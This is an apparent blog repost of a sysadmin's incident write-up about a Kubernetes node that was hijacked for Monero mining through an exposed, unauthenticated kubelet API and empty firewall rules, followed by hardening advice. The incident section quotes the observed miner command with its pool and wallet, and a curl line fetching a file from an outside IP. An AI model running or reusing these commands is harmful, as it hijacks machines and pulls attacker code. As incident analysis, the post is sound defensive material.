一入职，就遇上服务器变矿机！差点滚蛋...

柔情只为你懂 2022-09-16 14:25 167阅读 0赞

**点击关注公众号，回复“****1024****”获取****2TB****学习资源！**

刚入职一家新公司（没几天），就遇到了我们自建 Kubernetes 集群中某台机器被入侵挖矿，后续也找到了原因，所幸只是用来挖矿…

网络安全是个严肃的问题，它总是在不经意间出现，等你反应过来却已经迟了。希望各位读者看完后也有所启发，去检查及加固自己的集群。

## 入侵现象 ##

检查到某台机器中出现了异常进程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
    curl -s http://45.9.148.35/scan_threads.dat

![ba4dbf4a86ca86dd2e0ed5701c6e6d51.png][]简单来讲，就是我们的机器被用来挖矿了…

问题出现后，我们第一时间关闭了docker，其实应该隔离下环境, 把挖矿程序dump下来，以便后续分析。

## 具体原因排查 ##

###### iptables为空 ######

出现了异常进程，肯定是被入侵了，我首先看的是 iptables 。果不其然，机器上的 iptables 规则是空的，意味着这台机器在裸奔。

###### kubelet裸奔 ######

内部同事提出了有可能是 kubelet 被入侵的问题，检查过其他组件后，开始检查 kubelet 组件

最后检查到 kubelet 日志中有异常：

![1166924fab89ecef004e5281df447a99.png][]

###### kubelet设置不当 ######

确认入侵问题，kubelet 参数设置错误，允许直接访问 kubelet 的 api

![551e3a16d58d3e71cd773454e3b6da3f.png][]

发现是 kubelet 的启动项中，该位置被注释掉：

![32b90441aa9d7e68cf13973deb660461.png][]

然后文件中禁止匿名访问的配置没有读取

![3f1cb93ee105fab624091869b2f135dd.png][]

###### 该项配置是由于我操作不当注释掉的 ######

由于是新增加的机器，当晚就发现了问题，整个集群是我在管理的，我跟随着一起排查，所以很快就找到了原因，当晚我就把其他机器中的配置项重新扫了一遍，假如它们的防火墙失效了，也会有类似的入侵情况发生，还好此次事件控制在1台机器中。

## 改进方案 ##

其实该问题理论上讲是可以避免的，是因为出现了多层漏洞才会被有心人扫到，我从外到内整理了一下可能改进的策略。

*  机器防火墙设置，机器防火墙是整个系统最外层，即使机器的防火墙同步失败，也不能默认开放所有端口，而是应该全部关闭，等待管理员连接到tty终端上检查。
 *  使用机器时，假如机器不是暴露给外部使用的，公网IP可有可无的时候，尽量不要有公网IP，我们的机器才上线1天就被扫描到了漏洞，可想而知，公网上是多么的危险
 *  使用kubelet以及其他系统服务时，端口监听方面是不是该有所考量？能不能不监听 0.0.0.0，而是只监听本机的内网IP。
 *  使用kubelet以及其他程序，设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题，是否应该允许匿名访问，如果不允许匿名访问，那么怎么做一套鉴权系统?
 *  系统管理员操作时，是否有一个比较规范化的流程，是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位。

我这里不是抛出疑问，只是想告诉大家，考虑系统设计时，有必要考虑下安全性。

## 总结 ##

发生了入侵事件后，同事开玩笑说，还好没其他经济损失，要不我可能要回家了。作为集群的管理员，只有自己最清楚问题的严重程度。从本质上来讲，问题已经相当严重了。入侵者相当于拥有了机器上docker的完整控制权限。如果读者有读过我关于docker系列的内容，就对权限上了解清楚了。

**因为此次事件的发生，不只是我（差点被开了。。），还有SA的同学基本都被diao了一遍**，心里还是有点难受的，希望大家能对网络安全问题有所重视，从加固防火墙开始，避免监听不必要的端口，这两项至少是最容易实现的。

> 来源：https://corvo.myseu.cn/2021/03/23/

![30798b2980fd4915ebb4de36a4975bea.png][]

![b03540e450302396ca205c7730c86b0c.png][]

推荐阅读 点击标题可跳转

[Prometheus+InfluxDB+Grafana 打造高逼格监控平台！][Prometheus_InfluxDB_Grafana]

[超牛逼的性能监控神器！快速定位线上问题][Link 1]

[这款开源工具绝了！！！][Link 2]

[几句话，离职了][Link 3]

[基于 Nginx 实现灰度发布与 AB 测试][Nginx _ AB]

[切记，这样打日志定位 Bug 又快又准！][Bug]

[数据库设计的六个阶段详解][Link 4]

[面试限流、熔断、高可用，好多人一脸懵！][Link 5]

![a0b3376899cc0f8820f095cf6e51f5c5.png][]

PS：因为公众号平台更改了推送规则，如果不想错过内容，记得读完点一下**“在看”**，加个**“星标”**，这样每次新文章推送**才会第一时间出现在你的订阅列表**里。

**随手在看、转发是最大的支持！****![5090c94a7ef8a363014c3e56e60e73c8.gif][]**

[ba4dbf4a86ca86dd2e0ed5701c6e6d51.png]: /images/20220828/948732f16fa247d9b91dd7b21ad41510.png
[1166924fab89ecef004e5281df447a99.png]: /images/20220828/2a898d6df69341b2b4f291f804e6d928.png
[551e3a16d58d3e71cd773454e3b6da3f.png]: /images/20220828/af88070da35445718ceca3809d3d4cec.png
[32b90441aa9d7e68cf13973deb660461.png]: /images/20220828/28b7030c41b64107ad58a45d8003172b.png
[3f1cb93ee105fab624091869b2f135dd.png]: /images/20220828/76d6c0f926194290822a2689eddfa82a.png
[30798b2980fd4915ebb4de36a4975bea.png]: /images/20220828/591f5ab115c548e895215870cd1112cc.png
[b03540e450302396ca205c7730c86b0c.png]: /images/20220828/fd2a88a22aad4c1db55c372610fdc96a.png
[Prometheus_InfluxDB_Grafana]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523149&idx=1&sn=6a89558f2dce60057b5f5c8ca77a2a9a&chksm=e918fe51de6f7747e9e2aa4c941253a1d7f1adae30f467362a59bed14a26fc8dff9a9f4af1ae&scene=21#wechat_redirect
[Link 1]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523084&idx=1&sn=fec8ebd2a94187fdfd57a93c8a6f8d9f&chksm=e918fe10de6f77066b6081cfa7e7a21894e301a35a91e31afa63edd6ac876ebbb903110087a9&scene=21#wechat_redirect
[Link 2]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523031&idx=1&sn=b397994bec5ae9da79d0fd74270c6158&chksm=e918ffcbde6f76dd0cd7ed0ce12a95309cff81a197820a64cffb659db9b6bb37f335a219d325&scene=21#wechat_redirect
[Link 3]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523030&idx=1&sn=8748e3290d37be1163af998d6b7ed5bc&chksm=e918ffcade6f76dc07e80a275e46fdd244d1b7cbfac076c973ad17b3c8d0c7539ad26942f3bc&scene=21#wechat_redirect
[Nginx _ AB]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247522673&idx=1&sn=2b7422b8c2836fe0caeb4172a272e5cb&chksm=e918fc6dde6f757b8e4cb0c3f477d0433936ef3607f51f1ffc4f4fbbb613f2365412da64e5c8&scene=21#wechat_redirect
[Bug]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523149&idx=2&sn=b3ea3fcc5414d9a3670e9fec4ff2fd93&chksm=e918fe51de6f7747eb2a35dd14150d4ceb3a7bbf0fe1a2ea6f39cfe0eb2929cc84b5f4a93a51&scene=21#wechat_redirect
[Link 4]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247523084&idx=2&sn=6840c4cc70c2348018f524193e4268cc&chksm=e918fe10de6f770623b0cc85ec740a287b93681f1fe86db24af0c05c79b21d01e79bf5c9cbcc&scene=21#wechat_redirect
[Link 5]: http://mp.weixin.qq.com/s?__biz=MzI0MDQ4MTM5NQ==&mid=2247522973&idx=2&sn=739b9ae5d523c5cce46238466ce90b98&chksm=e918ff81de6f7697cffd11744cee0c56772eba6f562a873c70bf897760019a00a828e779bb84&scene=21#wechat_redirect
[a0b3376899cc0f8820f095cf6e51f5c5.png]: /images/20220828/e24538fd153146b39052771ac9da080b.png
[5090c94a7ef8a363014c3e56e60e73c8.gif]: /images/20220828/c4eba49b6b7d41ea8bd069db4d39b8de.png